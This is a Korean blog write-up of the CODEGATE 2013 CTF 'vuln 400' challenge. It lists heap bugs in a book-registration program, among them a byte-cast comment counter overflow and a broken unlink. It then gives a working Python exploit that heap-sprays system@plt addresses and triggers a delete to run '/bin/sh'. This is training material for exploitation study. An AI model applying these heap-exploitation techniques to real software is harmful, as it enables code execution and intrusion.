본문 바로가기

CTF/CODEGATE 2013

vuln 400

 간단한 책정보 등록 프로그램이지만, 허술한 부분을 여러군대 발견 할 수 있다.


1.댓글이 달리면 게시물이 안 지워진다. 고로, 처음 게시물이 생성되면 댓글이 자동으로 한개가 들어가는데, 정상적인 방법으로는 게시물을 지울수 없다.


2. 책정보를 저장하는 구조체에서 현재 자신에게 달린 댓글의 수를 저장하는 멤버변수를 가지고 있는데, delete할때, byte로 타입캐스트 한다.(사실 byte로 처음부터 선언된 것일수도 있다) 그러므로 댓글이 127개 이상 달리면, interger overflow가 일어나서, 게시물 삭제가 가능해진다.


3.exploitable한 버그는 아니지만, flush를 하지 않아서 입출력의 싱크가 맞지 않는 경우가 있다.


4.중간에 있는 노드만 삭제 시킬 수 있다. 왜냐하면 게시물을 지우는 delete함수에서, unlink를 하기위한 루틴이 다음과 같다.

select_book->before_node->next_node = select_book->next_node

select_book->next_node->before_node = select_book->before_node  # 이부분에서 next_node는 null이기때문에 segment fault가 발생


5.댓글 구조체는 생성시 초기화가 되지 않고, 지울때 해당 댓글의 parent 인 게시물의 deadbeef 값을 저장하는 멤버를 체크한뒤 초기화 된다.


6.book 구조체의 content부분은 8000byte untrust input을 받을 수 있다.


그래서 공략법은 간단하다.


from struct import *

import sys

 

 

###########lambda function################

p = lambda x : pack("<L",x)

write = lambda author,title,content : sys.stdout.write("1\n"+author+"\n"+title+"\n"+content+"\n")

read = lambda idx : sys.stdout.write("2\n"+idx+"\n")

delete = lambda : sys.stdout.write("1\n")

modify = lambda author,title : sys.stdout.write("2\n"+author+"\n"+title+"\n")

reply = lambda comment : sys.stdout.write("3\n"+comment+"\n")

back = lambda : sys.stdout.write("4\n")

##########################################

 

###########address########################

system_plt = 0x08048630

default = 0x080487c4

##########################################

 

#############exploit######################

for i in range(3):                                                                                         #unlink bug escape

         write("sanguine","sanguine",p(default)*300+p(system_plt)*300)   #heap splay

read("2")                                                                                                         

for i in range(0x80):                                                                             #interger overflow / delete node 2

         reply("Sanguine")

delete()

back()

 

for i in range(2):                                                                                         #unlink bug escape

         write("sanguine","sanguine","sanguine")

read("4")

for i in range(0x80):                                                                             #interger overflow / delete node 2

         reply("/bin/sh")

 

modify("sanguine","sanguine")                                                     #init escape

delete()                                                                                                #trigger

 

##########################################


'CTF > CODEGATE 2013' 카테고리의 다른 글

CODEGATE 2013 binary300 write-up  (0) 2014.05.11
CODEGATE 2013 vuln300 write-up  (0) 2014.05.11
CODEGATE 2013 vuln200 write-up  (1) 2014.05.11